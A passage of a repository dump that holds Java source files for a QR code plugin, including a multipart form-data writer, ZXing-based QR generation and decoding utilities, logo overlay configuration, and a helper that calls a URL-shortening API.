(required)\n\t * @param is\n\t *            the input stream\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void writeFile(String name, String mimeType, String fileName,\n\t\t\tInputStream is) throws java.io.IOException {\n\t\tif (is == null) {\n\t\t\tthrow new IllegalArgumentException(\"Input stream cannot be null.\");\n\t\t}\n\t\tif (fileName == null || fileName.length() == 0) {\n\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\"File name cannot be null or empty.\");\n\t\t}\n\t\t/*\n\t\t * --boundary\\r\\n Content-Disposition: form-data; name=\"<fieldName>\";\n\t\t * filename=\"<filename>\"\\r\\n Content-Type: <mime-type>\\r\\n \\r\\n\n\t\t * <file-data>\\r\\n\n\t\t */\n\t\t// write boundary\n\t\tout.writeBytes(PREFIX);\n\t\tout.writeBytes(boundary);\n\t\tout.writeBytes(NEWLINE);\n\t\t// write content header\n\t\tout.writeBytes(\"Content-Disposition: form-data; name=\\\"\" + name\n\t\t\t\t+ \"\\\"; filename=\\\"\" + fileName + \"\\\"\");\n\t\tout.writeBytes(NEWLINE);\n\t\tif (mimeType != null) {\n\t\t\tout.writeBytes(\"Content-Type: \" + mimeType);\n\t\t\tout.writeBytes(NEWLINE);\n\t\t}\n\t\tout.writeBytes(NEWLINE);\n\t\t// write content\n\t\tbyte[] data = new byte[1024];\n\t\tint r = 0;\n\t\twhile ((r = is.read(data, 0, data.length)) != -1) {\n\t\t\tout.write(data, 0, r);\n\t\t}\n\t\t// close input stream, but ignore any possible exception for it\n\t\ttry {\n\t\t\tis.close();\n\t\t} catch (Exception e) {\n\t\t}\n\t\tout.writeBytes(NEWLINE);\n\t\tout.flush();\n\t}\n\n\t/**\n\t * Writes the given bytes. The bytes are assumed to be the contents of a\n\t * file, and will be sent as such. If the data is null, a\n\t * <code>java.lang.IllegalArgumentException</code> will be thrown.\n\t * \n\t * @param name\n\t *            the field name\n\t * @param mimeType\n\t *            the file content type (optional, recommended)\n\t * @param fileName\n\t *            the file name (required)\n\t * @param data\n\t *            the file data\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tvoid writeFile(String name, String mimeType, String fileName, byte[] data)\n\t\t\tthrows java.io.IOException {\n\t\tif (data == null) {\n\t\t\tthrow new IllegalArgumentException(\"Data cannot be null.\");\n\t\t}\n\t\tif (fileName == null || fileName.length() == 0) {\n\t\t\tthrow new IllegalArgumentException(\n\t\t\t\t\t\"File name cannot be null or empty.\");\n\t\t}\n\t\t/*\n\t\t * --boundary\\r\\n Content-Disposition: form-data; name=\"<fieldName>\";\n\t\t * filename=\"<filename>\"\\r\\n Content-Type: <mime-type>\\r\\n \\r\\n\n\t\t * <file-data>\\r\\n\n\t\t */\n\t\t// write boundary\n\t\tout.writeBytes(PREFIX);\n\t\tout.writeBytes(boundary);\n\t\tout.writeBytes(NEWLINE);\n\t\t// write content header\n\t\tout.writeBytes(\"Content-Disposition: form-data; name=\\\"\" + name\n\t\t\t\t+ \"\\\"; filename=\\\"\" + fileName + \"\\\"\");\n\t\tout.writeBytes(NEWLINE);\n\t\tif (mimeType != null) {\n\t\t\tout.writeBytes(\"Content-Type: \" + mimeType);\n\t\t\tout.writeBytes(NEWLINE);\n\t\t}\n\t\tout.writeBytes(NEWLINE);\n\t\t// write content\n\t\tout.write(data, 0, data.length);\n\t\tout.writeBytes(NEWLINE);\n\t\tout.flush();\n\t}\n\n\t/**\n\t * Flushes the stream. Actually, this method does nothing, as the only write\n\t * methods are highly specialized and automatically flush.\n\t */\n\tpublic void flush() {\n\t\t// out.flush();\n\t}\n\n\t/**\n\t * Closes the stream. <br />\n\t * <br />\n\t * <b>NOTE:</b> This method <b>MUST</b> be called to finalize the multipart\n\t * stream.\n\t * \n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic void close() throws java.io.IOException {\n\t\t// write final boundary\n\t\tout.writeBytes(PREFIX);\n\t\tout.writeBytes(boundary);\n\t\tout.writeBytes(PREFIX);\n\t\tout.writeBytes(NEWLINE);\n\t\tout.flush();\n\t\tout.close();\n\t}\n\n\t/**\n\t * Gets the multipart boundary string being used by this stream.\n\t * \n\t * @return the boundary\n\t */\n\tpublic String getBoundary() {\n\t\treturn this.boundary;\n\t}\n\n\t/**\n\t * Creates a new <code>java.net.URLConnection</code> object from the\n\t * specified <code>java.net.URL</code>. This is a convenience method which\n\t * will set the <code>doInput</code>, <code>doOutput</code>,\n\t * <code>useCaches</code> and <code>defaultUseCaches</code> fields to the\n\t * appropriate settings in the correct order.\n\t * \n\t * @return a <code>java.net.URLConnection</code> object for the URL\n\t * @throws java.io.IOException\n\t *             on input/output errors\n\t */\n\tpublic static URLConnection createConnection(URL url)\n\t\t\tthrows java.io.IOException {\n\t\tURLConnection urlConn = url.openConnection();\n\t\tif (urlConn instanceof HttpURLConnection) {\n\t\t\tHttpURLConnection httpConn = (HttpURLConnection) urlConn;\n\t\t\thttpConn.setRequestMethod(\"POST\");\n\t\t}\n\t\turlConn.setDoInput(true);\n\t\turlConn.setDoOutput(true);\n\t\turlConn.setUseCaches(false);\n\t\turlConn.setDefaultUseCaches(false);\n\t\treturn urlConn;\n\t}\n\n\t/**\n\t * Creates a multipart boundary string by concatenating 20 hyphens (-) and\n\t * the hexadecimal (base-16) representation of the current time in\n\t * milliseconds.\n\t * \n\t * @return a multipart boundary string\n\t * @see #getContentType(String)\n\t */\n\tpublic static String createBoundary() {\n\t\treturn \"--------------------\"\n\t\t\t\t+ Long.toString(System.currentTimeMillis(), 16);\n\t}\n\n\t/**\n\t * Gets the content type string suitable for the\n\t * <code>java.net.URLConnection</code> which includes the multipart boundary\n\t * string. <br />\n\t * <br />\n\t * This method is static because, due to the nature of the\n\t * <code>java.net.URLConnection</code> class, once the output stream for the\n\t * connection is acquired, it's too late to set the content type (or any\n\t * other request parameter). So one has to create a multipart boundary\n\t * string first before using this class, such as with the\n\t * <code>createBoundary()</code> method.\n\t * \n\t * @param boundary\n\t *            the boundary string\n\t * @return the content type string\n\t * @see #createBoundary()\n\t */\n\tpublic static String getContentType(String boundary) {\n\t\treturn \"multipart/form-data; boundary=\" + boundary;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/LogoConfig.java",
    "content": "package com.jun.plugin.zxing;\n\n\nimport java.awt.Color;\n\n/**\n * logo背景配置\n * \n * @author X-rapido\n */\npublic class LogoConfig {\n    public static final Color DEFAULT_BORDERCOLOR = Color.WHITE;    // logo默认边框颜色\n    public static final int DEFAULT_BORDER = 2; // logo默认边框宽度\n    public static final int DEFAULT_LOGOPART = 5;   // logo大小默认为照片的1/5\n    private final int border = DEFAULT_BORDER;  // 默认边框宽度\n    private final Color borderColor;    // 边框颜色\n    private final int logoPart; //  边框外围宽度\n\n    /**\n     * 二维码无参构造函数 默认设置Logo图片底色白色宽度2\n     */\n    public LogoConfig() {\n        this(DEFAULT_BORDERCOLOR, DEFAULT_LOGOPART);\n    }\n\n    /**\n     * 二维码有参构造函数\n     * \n     * @param borderColor 边框颜色\n     * @param logoPart 边框宽度\n     */\n    public LogoConfig(Color borderColor, int logoPart) {\n        // 设置边框\n        this.borderColor = borderColor;\n        // 设置边框宽度\n        this.logoPart = logoPart;\n    }\n\n    /**\n     * 获取边框颜色\n     * \n     * @return 获取边框颜色\n     */\n    public Color getBorderColor() {\n        return borderColor;\n    }\n\n    /**\n     * 获取边框\n     * \n     * @return 获取边框\n     */\n    public int getBorder() {\n        return border;\n    }\n\n    /**\n     * 外围边宽\n     * \n     * @return 外围边宽\n     */\n    public int getLogoPart() {\n        return logoPart;\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/QrcodeUtil.java",
    "content": "package com.jun.plugin.zxing;\n\nimport java.io.File;\nimport java.io.IOException;\nimport java.util.Hashtable;\n\nimport com.google.zxing.BarcodeFormat;\nimport com.google.zxing.EncodeHintType;\nimport com.google.zxing.MultiFormatWriter;\nimport com.google.zxing.WriterException;\nimport com.google.zxing.client.j2se.MatrixToImageWriter;\nimport com.google.zxing.common.BitMatrix;\nimport com.google.zxing.qrcode.decoder.ErrorCorrectionLevel;\n/**\n * 生成二维码图片工具类\n * 创建者小柒2012\n */\npublic class QrcodeUtil {\n\t /**\n\t  * 生成二维码\n\t  * @Author  小柒2012\n\t  * @param width\n\t  * @param height\n\t  * @param content \n\t  * @param format (图片格式)\n\t  * @param filePath  void\n\t  * @throws IOException \n\t  * @throws WriterException \n\t  *\n\t  */\n\t public static void createQrcode(int width,int height,String content,String format,String filePath){\n\t\t    try {\n\t\t    \tHashtable<EncodeHintType, Object> hints = new Hashtable<EncodeHintType, Object>(); \n\t\t        //指定纠错等级,纠错级别（L 7%、M 15%、Q 25%、H 30%）  \n\t\t        hints.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.H);  \n\t\t        hints.put(EncodeHintType.CHARACTER_SET, \"utf-8\"); //内容所使用字符集编码\n\t\t        hints.put(EncodeHintType.MARGIN, 1);//设置二维码边的空度，非负数  \n\t\t        BitMatrix bitMatrix = new MultiFormatWriter().encode(content, \n\t\t        \t\t BarcodeFormat.QR_CODE,\n\t\t        \t\t width,  //条形码的宽度  \n\t\t\t             height, //条形码的高度  \n\t\t\t             hints); //生成条形码时的一些配置,此项可选  \n\t\t        File outputFile = new File(filePath);\n\t\t        if(!outputFile.exists()){\n\t\t            outputFile.mkdirs();\n\t\t        }\n\t\t        MatrixToImageWriter.writeToFile(bitMatrix, format, outputFile);\n\t\t\t} catch (Exception e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t }\n\t public static void main(String[] args) {\n\t\t createQrcode(200,200,\"https://www.baidu.com\",\"png\",\"D:\\\\createQrcode.png\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/ShortUrlUtil.java",
    "content": "package com.jun.plugin.zxing;\n\nimport java.util.HashMap;\nimport java.util.Map;\n/**\n * 生成短链接 、自行配置后端服务 https://blog.52itstyle.com/archives/2563/\n * @author 小柒2012\n */\npublic class ShortUrlUtil {\n\t\n\tpublic static String urlToRequest = \"https://polr.52itstyle.com/api/v2/action/shorten\";\n\t\n\tpublic static String createShortUrl(String url){\n\t\t Map<String, String> parameters = new HashMap<String, String>();\n\t\t parameters.put(\"key\", \"0\");\n\t\t parameters.put(\"url\", url);\n\t\t return HttpClientHelper.requestBodyString(urlToRequest, parameters);\n\t}\n    public static void main(String[] args) {\n    \tString url = \"https://www.baid.com/index.html\";\n    \turl = createShortUrl(url);\n    \tSystem.out.println(url);\n    \tSystem.out.println(\"生成二维码地址:D:\\\\createShortUrl.png\");\n    \tQrcodeUtil.createQrcode(200,200,url,\"png\",\"D:\\\\createShortUrl.png\");\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/ZXingCodeUtil.java",
    "content": "package com.jun.plugin.zxing;\n\n\nimport java.awt.BasicStroke;\nimport java.awt.Color;\nimport java.awt.Graphics2D;\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.imageio.ImageIO;\n\nimport com.google.zxing.Binarizer;\nimport com.google.zxing.BinaryBitmap;\nimport com.google.zxing.EncodeHintType;\nimport com.google.zxing.LuminanceSource;\nimport com.google.zxing.MultiFormatReader;\nimport com.google.zxing.MultiFormatWriter;\nimport com.google.zxing.Result;\nimport com.google.zxing.WriterException;\nimport com.google.zxing.common.BitMatrix;\nimport com.google.zxing.common.HybridBinarizer;\nimport com.google.zxing.qrcode.decoder.ErrorCorrectionLevel;\n\n/**\n * 二维码生成google zxing\n * \n * @author X-rapido\n * \n */\npublic class ZXingCodeUtil {\n    /**\n     * 二维码图片添加Logo\n     * \n     * @param bim 图片流\n     * @param logoPic Logo图片物理位置\n     * @param logoConfig Logo图片设置参数\n     * @throws Exception 异常上抛\n     */\n    private void addLogo_QRCode(BufferedImage bim, File logoPic, LogoConfig logoConfig) throws Exception {\n        try {\n            // 对象流传输\n            BufferedImage image = bim;\n            Graphics2D g = image.createGraphics();\n\n            // 读取Logo图片\n            BufferedImage logo = ImageIO.read(logoPic);\n\n            // 设置logo的大小,本人设置为二维码图片的20%,因为过大会盖掉二维码\n            int widthLogo = logo.getWidth(null) > image.getWidth() * 2 / 10 ? (image.getWidth() * 2 / 10) : logo.getWidth(null), heightLogo = logo\n                    .getHeight(null) > image.getHeight() * 2 / 10 ? (image.getHeight() * 2 / 10) : logo.getWidth(null);\n\n            // 计算图片放置位置\n            // logo放在中心\n            int x = (image.getWidth() - widthLogo) / 2;\n            int y = (image.getHeight() - heightLogo) / 2;\n            // 开始绘制图片\n            g.drawImage(logo, x, y, widthLogo, heightLogo, null);\n            g.drawRoundRect(x, y, widthLogo, heightLogo, 15, 15);\n            g.setStroke(new BasicStroke(logoConfig.getBorder()));\n            g.setColor(logoConfig.getBorderColor());\n            g.drawRect(x, y, widthLogo, heightLogo);\n\n            g.dispose();\n            logo.flush();\n            image.flush();\n\n        } catch (Exception e) {\n            throw e;\n        }\n    }\n\n    /**\n     * 二维码的解析\n     * \n     * @param image  图片文件流\n     * @return 解析后的Result结果集\n     * @throws Exception 错误异常上抛\n     */\n    @SuppressWarnings(\"unchecked\")\n    public Result parseQR_CODEImage(BufferedImage image) throws Exception {\n        // 设置解析\n        Result result = null;\n        try {\n            MultiFormatReader formatReader = new MultiFormatReader();\n\n            LuminanceSource source = new BufferedImageLuminanceSource(image);\n            Binarizer binarizer = new HybridBinarizer(source);\n            BinaryBitmap binaryBitmap = new BinaryBitmap(binarizer);\n\n            @SuppressWarnings(\"rawtypes\")\n            Map hints = new HashMap();\n            hints.put(EncodeHintType.CHARACTER_SET, \"UTF-8\");\n\n            result = formatReader.decode(binaryBitmap, hints);\n\n            System.out.println(\"resultFormat = \" + result.getBarcodeFormat());\n            System.out.println(\"resultText = \" + result.getText());\n        } catch (Exception e) {\n            throw e;\n        }\n        return result;\n    }\n\n    /**\n     * 生成二维码bufferedImage图片\n     * @param zxingconfig 二维码配置信息\n     * @return 生成后的 BufferedImage\n     * @throws Exception 异常上抛\n     */\n    public BufferedImage getQR_CODEBufferedImage(ZXingConfig zxingconfig) throws Exception {\n        // Google配置文件\n        MultiFormatWriter multiFormatWriter = null;\n        BitMatrix bm = null;\n        BufferedImage image = null;\n        try {\n            multiFormatWriter = new MultiFormatWriter();\n\n            // 参数顺序分别为：编码内容，编码类型，生成图片宽度，生成图片高度，设置参数\n            bm = multiFormatWriter.encode(zxingconfig.getContent(), zxingconfig.getBarcodeformat(), zxingconfig.getWidth(), zxingconfig.getHeight(),\n                    zxingconfig.getHints());\n\n            int w = bm.getWidth();\n            int h = bm.getHeight();\n            image = new BufferedImage(w, h, BufferedImage.TYPE_INT_RGB);\n\n            // 开始利用二维码数据创建Bitmap图片，分别设为黑白两色\n            for (int x = 0; x < w; x++) {\n                for (int y = 0; y < h; y++) {\n                    image.setRGB(x, y, bm.get(x, y) ? Color.BLACK.getRGB() : Color.WHITE.getRGB());\n                }\n            }\n\n            // 是否设置Logo图片\n            if (zxingconfig.isLogoFlg()) {\n                this.addLogo_QRCode(image, new File(zxingconfig.getLogoPath()), zxingconfig.getLogoConfig());\n            }\n        } catch (WriterException e) {\n            throw e;\n        }\n        return image;\n    }\n\n    /**\n     * 设置二维码的格式参数\n     * \n     * @return\n     */\n    public Map<EncodeHintType, Object> getDecodeHintType() {\n        // 用于设置QR二维码参数\n        Map<EncodeHintType, Object> hints = new HashMap<EncodeHintType, Object>();\n        // 设置QR二维码的纠错级别（H为最高级别）具体级别信息\n        hints.put(EncodeHintType.ERROR_CORRECTION, ErrorCorrectionLevel.H);\n        // 设置编码方式\n        hints.put(EncodeHintType.CHARACTER_SET, \"utf-8\");\n        hints.put(EncodeHintType.MARGIN, 0);\n        hints.put(EncodeHintType.MAX_SIZE, 350);\n        hints.put(EncodeHintType.MIN_SIZE, 100);\n\n        return hints;\n    }\n\n    /**\n     * 这个工具类 ZXingCodeUtil 是提供二维码图片生成的工具 首先使用的时候需要实例化\n     * ZXingCodeUtil 然后实例化参数 ZXingConfig 和 LogoConfig 通过下面的演示可以详细看参数是按照什么循序进行设置 最后调用\n     * ZXingCodeUtil 中方法 getQR_CODEBufferedImage来生成二维码\n     */\n    public static void main(String[] args) throws WriterException {\n        String content = \"http://www.baidu.com\";\n        System.out.println(\"inputParam:\" + content);\n        try {\n            // 生成二维码\n            File file = new File(\"D:/Michael_QRCode.png\");\n            ZXingCodeUtil zp = new ZXingCodeUtil(); // 实例化二维码工具\n            ZXingConfig zxingconfig = new ZXingConfig();    // 实例化二维码配置参数\n            zxingconfig.setHints(zp.getDecodeHintType());   // 设置二维码的格式参数\n            zxingconfig.setContent(content);// 设置二维码生成内容\n            zxingconfig.setLogoPath(\"D:/logo.jpg\"); // 设置Logo图片\n            zxingconfig.setLogoConfig(new LogoConfig());    // Logo图片参数设置   \n            zxingconfig.setLogoFlg(true);   // 设置生成Logo图片\n            BufferedImage bim = zp.getQR_CODEBufferedImage(zxingconfig);// 生成二维码\n            ImageIO.write(bim, \"png\", file);    // 图片写出\n            Thread.sleep(500);  // 缓冲\n\n            zp.parseQR_CODEImage(bim);  // 解析调用\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/ZXingConfig.java",
    "content": "package com.jun.plugin.zxing;\n\nimport java.util.Map;\n\nimport com.google.zxing.BarcodeFormat;\nimport com.google.zxing.EncodeHintType;\n\n/**\n * 二维码配置信息\n * \n * @author X-rapido\n * \n */\npublic class ZXingConfig {\n    private boolean logoFlg = false;    // 是否添加Log图片\n    private String content; // 二维码编码内容\n    private BarcodeFormat barcodeformat = BarcodeFormat.QR_CODE;    //编码类型\n    private int width = 200;    // 生成图片宽度\n    private int height = 200;   //  生成图片高度\n    private Map<EncodeHintType, ?> hints;   // 设置参数\n    private String logoPath;    // Logo图片路径\n    private String putPath; // 图片输出路径\n    private LogoConfig LogoConfig;  // logo图片参数\n\n    /**\n     * 获取 是否添加Log图片\n     * \n     * @return logoFlg 是否添加Log图片\n     */\n    public boolean isLogoFlg() {\n        return logoFlg;\n    }\n\n    /**\n     * 设置 是否添加Log图片\n     * \n     * @param logoFlg 是否添加Log图片\n     */\n    public void setLogoFlg(boolean logoFlg) {\n        this.logoFlg = logoFlg;\n    }\n\n    /**\n     * 获取 二维码编码内容\n     * \n     * @return content 二维码编码内容\n     */\n    public String getContent() {\n        return content;\n    }\n\n    /**\n     * 设置 二维码编码内容\n     * \n     * @param content 二维码编码内容\n     */\n    public void setContent(String content) {\n        this.content = content;\n    }\n\n    /**\n     * 获取 编码类型\n     * \n     * @return barcodeformat 编码类型\n     */\n    public BarcodeFormat getBarcodeformat() {\n        return barcodeformat;\n    }\n\n    /**\n     * 设置 编码类型\n     * \n     * @param barcodeformat 编码类型\n     */\n    public void setBarcodeformat(BarcodeFormat barcodeformat) {\n        this.barcodeformat = barcodeformat;\n    }\n\n    /**\n     * 获取 生成图片宽度\n     * \n     * @return width 生成图片宽度\n     */\n    public int getWidth() {\n        return width;\n    }\n\n    /**\n     * 设置 生成图片宽度\n     * \n     * @param width 生成图片宽度\n     */\n    public void setWidth(int width) {\n        this.width = width;\n    }\n\n    /**\n     * 获取 生成图片高度\n     * \n     * @return height 生成图片高度\n     */\n    public int getHeight() {\n        return height;\n    }\n\n    /**\n     * 设置 生成图片高度\n     * \n     * @param height 生成图片高度\n     */\n    public void setHeight(int height) {\n        this.height = height;\n    }\n\n    /**\n     * 获取 设置参数\n     * \n     * @return hints 设置参数\n     */\n    public Map<EncodeHintType, ?> getHints() {\n        return hints;\n    }\n\n    /**\n     * 设置 设置参数\n     * \n     * @param hints 设置参数\n     */\n    public void setHints(Map<EncodeHintType, ?> hints) {\n        this.hints = hints;\n    }\n\n    /**\n     * 获取 Logo图片路径\n     * \n     * @return logoPath Logo图片路径\n     */\n    public String getLogoPath() {\n        return logoPath;\n    }\n\n    /**\n     * 设置 Logo图片路径\n     * \n     * @param logoPath Logo图片路径\n     */\n    public void setLogoPath(String logoPath) {\n        this.logoPath = logoPath;\n    }\n\n    /**\n     * 获取 图片输出路劲\n     * \n     * @return putPath 图片输出路劲\n     */\n    public String getPutPath() {\n        return putPath;\n    }\n\n    /**\n     * 设置 图片输出路劲\n     * \n     * @param putPath 图片输出路劲\n     */\n    public void setPutPath(String putPath) {\n        this.putPath = putPath;\n    }\n\n    /**\n     * 获取 logoConfig\n     * \n     * @return logoConfig logoConfig\n     */\n    public LogoConfig getLogoConfig() {\n        return LogoConfig;\n    }\n\n    /**\n     * 设置 logoConfig\n     * \n     * @param logoConfig logoConfig\n     */\n    public void setLogoConfig(LogoConfig logoConfig) {\n        LogoConfig = logoConfig;\n    }\n\n}"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/ZxingUtil.java",
    "content": "package com.jun.plugin.zxing;\n\n\nimport java.awt.image.BufferedImage;\nimport java.io.File;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Hashtable;\n\nimport javax.imageio.ImageIO;\n\nimport com.google.zxing.BarcodeFormat;\nimport com.google.zxing.EncodeHintType;\nimport com.google.zxing.MultiFormatWriter;\nimport com.google.zxing.common.BitMatrix;  \n  \n/** \n * 二维码的生成需要借助MatrixToImageWriter类，该类是由Google提供的，可以将该类直接拷贝到源码中使用 \n */  \npublic class ZxingUtil {  \n    private static final int BLACK = 0xFF000000;  \n    private static final int WHITE = 0xFFFFFFFF;  \n  \n    private ZxingUtil() {  \n    }  \n  \n    public static BufferedImage toBufferedImage(BitMatrix matrix) {  \n        int width = matrix.getWidth();  \n        int height = matrix.getHeight();  \n        BufferedImage image = new BufferedImage(width, height, BufferedImage.TYPE_INT_RGB);  \n        for (int x = 0; x < width; x++) {  \n            for (int y = 0; y < height; y++) {  \n                image.setRGB(x, y, matrix.get(x, y) ? BLACK : WHITE);  \n            }  \n        }  \n        return image;  \n    }  \n  \n    public static void writeToFile(BitMatrix matrix, String format, File file) throws IOException {  \n        BufferedImage image = toBufferedImage(matrix);  \n        if (!ImageIO.write(image, format, file)) {  \n            throw new IOException(\"Could not write an image of format \" + format + \" to \" + file);  \n        }  \n    }  \n  \n    public static void writeToStream(BitMatrix matrix, String format, OutputStream stream) throws IOException {  \n        BufferedImage image = toBufferedImage(matrix);  \n        if (!ImageIO.write(image, format, stream)) {  \n            throw new IOException(\"Could not write an image of format \" + format);  \n        }  \n    }  \n    \n    \n    public static void main(String[] args) throws Exception {  \n        String text = \"ZXING CODEZXING CODEZXING CODEZXING CODEZXING CODE \"; // 二维码内容  \n        int width = 300; // 二维码图片宽度  \n        int height = 300; // 二维码图片高度  \n        String format = \"gif\";// 二维码的图片格式  \n          \n        Hashtable<EncodeHintType, String> hints = new Hashtable<EncodeHintType, String>();  \n        hints.put(EncodeHintType.CHARACTER_SET, \"utf-8\");   // 内容所使用字符集编码  \n          \n        BitMatrix bitMatrix = new MultiFormatWriter().encode(text, BarcodeFormat.QR_CODE, width, height, hints);  \n        // 生成二维码  \n        File outputFile = new File(\"d:\" + File.separator + \"new.gif\");  \n        ZxingUtil.writeToFile(bitMatrix, format, outputFile);  \n    }  \n}  "
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/support/BufferedImageLuminanceSource.java",
    "content": "/**\n * Copyright 2013 ABSir's Studio\n * \n * All right reserved\n *\n * Create on 2013-8-13 上午10:44:44\n */\npackage com.jun.plugin.zxing.support;\n\nimport java.awt.Graphics2D;\nimport java.awt.geom.AffineTransform;\nimport java.awt.image.BufferedImage;\n\nimport com.google.zxing.LuminanceSource;\n\n/**\n * @author absir\n * \n */\npublic class BufferedImageLuminanceSource extends LuminanceSource {\n\n\tprivate final BufferedImage image;\n\tprivate final int left;\n\tprivate final int top;\n\n\tpublic BufferedImageLuminanceSource(BufferedImage image) {\n\t\tthis(image, 0, 0, image.getWidth(), image.getHeight());\n\t}\n\n\tpublic BufferedImageLuminanceSource(BufferedImage image, int left, int top, int width, int height) {\n\t\tsuper(width, height);\n\n\t\tint sourceWidth = image.getWidth();\n\t\tint sourceHeight = image.getHeight();\n\t\tif (left + width > sourceWidth || top + height > sourceHeight) {\n\t\t\tthrow new IllegalArgumentException(\"Crop rectangle does not fit within image data.\");\n\t\t}\n\n\t\tfor (int y = top; y < top + height; y++) {\n\t\t\tfor (int x = left; x < left + width; x++) {\n\t\t\t\tif ((image.getRGB(x, y) & 0xFF000000) == 0) {\n\t\t\t\t\timage.setRGB(x, y, 0xFFFFFFFF); // = white\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tthis.image = new BufferedImage(sourceWidth, sourceHeight, BufferedImage.TYPE_BYTE_GRAY);\n\t\tthis.image.getGraphics().drawImage(image, 0, 0, null);\n\t\tthis.left = left;\n\t\tthis.top = top;\n\t}\n\n\t@Override\n\tpublic byte[] getRow(int y, byte[] row) {\n\t\tif (y < 0 || y >= getHeight()) {\n\t\t\tthrow new IllegalArgumentException(\"Requested row is outside the image: \" + y);\n\t\t}\n\t\tint width = getWidth();\n\t\tif (row == null || row.length < width) {\n\t\t\trow = new byte[width];\n\t\t}\n\t\timage.getRaster().getDataElements(left, top + y, width, 1, row);\n\t\treturn row;\n\t}\n\n\t@Override\n\tpublic byte[] getMatrix() {\n\t\tint width = getWidth();\n\t\tint height = getHeight();\n\t\tint area = width * height;\n\t\tbyte[] matrix = new byte[area];\n\t\timage.getRaster().getDataElements(left, top, width, height, matrix);\n\t\treturn matrix;\n\t}\n\n\t@Override\n\tpublic boolean isCropSupported() {\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic LuminanceSource crop(int left, int top, int width, int height) {\n\t\treturn new BufferedImageLuminanceSource(image, this.left + left, this.top + top, width, height);\n\t}\n\n\t@Override\n\tpublic boolean isRotateSupported() {\n\t\treturn true;\n\t}\n\n\t@Override\n\tpublic LuminanceSource rotateCounterClockwise() {\n\t\tint sourceWidth = image.getWidth();\n\t\tint sourceHeight = image.getHeight();\n\n\t\tAffineTransform transform = new AffineTransform(0.0, -1.0, 1.0, 0.0, 0.0, sourceWidth);\n\n\t\tBufferedImage rotatedImage = new BufferedImage(sourceHeight, sourceWidth, BufferedImage.TYPE_BYTE_GRAY);\n\n\t\tGraphics2D g = rotatedImage.createGraphics();\n\t\tg.drawImage(image, transform, null);\n\t\tg.dispose();\n\n\t\tint width = getWidth();\n\t\treturn new BufferedImageLuminanceSource(rotatedImage, top, sourceWidth - (left + width), getHeight(), width);\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/support/BufferedImageSource.java",
    "content": "/**\n * Copyright 2013 ABSir's Studio\n * \n * All right reserved\n *\n * Create on 2013-8-13 上午10:56:54\n */\npackage com.jun.plugin.zxing.support;\n\nimport java.awt.image.BufferedImage;\n\n/**\n * @author absir\n * \n */\npublic class BufferedImageSource {\n\n\t/** width */\n\tprivate int width;\n\n\t/** height */\n\tprivate int height;\n\n\t/** rgbas */\n\tprivate byte[] rgbas;\n\n\t/**\n\t * @param image\n\t */\n\tpublic BufferedImageSource(BufferedImage bufferedImage) {\n\t\twidth = bufferedImage.getWidth();\n\t\theight = bufferedImage.getHeight();\n\t\trgbas = new byte[width * height * 4];\n\t\tint k = 0;\n\t\tfor (int i = 0; i < width; i++) {\n\t\t\tfor (int j = 0; j < height; j++) {\n\t\t\t\tint pixel = bufferedImage.getRGB(i, j);\n\t\t\t\trgbas[k++] = (byte) ((pixel) & 0xff);\n\t\t\t\trgbas[k++] = (byte) ((pixel >> 8) & 0xff);\n\t\t\t\trgbas[k++] = (byte) ((pixel >> 16) & 0xff);\n\t\t\t\trgbas[k++] = (byte) ((pixel >> 24) & 0xff);\n\t\t\t}\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_qrcode/src/main/java/com/jun/plugin/zxing/support/BufferedImageUtils.java",
    "content": "/**\n * Copyright 2013 ABSir's Studio\n * \n * All right reserved\n *\n * Create on 2013-8-13 上午11:40:24\n */\npackage com.jun.plugin.zxing.support;\n\nimport java.awt.Graphics2D;\nimport java.awt.Image;\nimport java.awt.image.BufferedImage;\nimport java.awt.image.ImageObserver;\n\n/**\n * @author absir\n * \n */\npublic class BufferedImageUtils {\n\n\t/**\n\t * @param image\n\t * @return\n\t */\n\tpublic static BufferedImage getBufferedImage(Image image) {\n\t\treturn getBufferedImage(image, image.getWidth(null), image.getHeight(null));\n\t}\n\n\t/**\n\t * @param image\n\t * @param width\n\t * @param height\n\t * @return\n\t */\n\tpublic static BufferedImage getBufferedImage(Image image, int width, int height) {\n\t\treturn getBufferedImage(image, width, height, BufferedImage.TYPE_INT_ARGB);\n\t}\n\n\t/**\n\t * @param image\n\t * @param width\n\t * @param height\n\t * @param imageType\n\t * @return\n\t */\n\tpublic static BufferedImage getBufferedImage(Image image, int width, int height, int imageType) {\n\t\tBufferedImage bufferedImage = new BufferedImage(width, height, imageType);\n\t\tGraphics2D g = bufferedImage.createGraphics();\n\t\tg.drawImage(image, 0, 0, width, height, 0, 0, image.getWidth(null), image.getHeight(null), null);\n\t\twaitForImage(bufferedImage);\n\t\treturn bufferedImage;\n\t}\n\t\n\t/**\n\t * @param bufferedImage\n\t */\n\tprivate static void waitForImage(BufferedImage bufferedImage) {\n\t\tbufferedImage.getHeight(new ImageObserver() {\n\t\t\tpublic boolean imageUpdate(Image img, int infoflags, int x, int y, int width, int height) 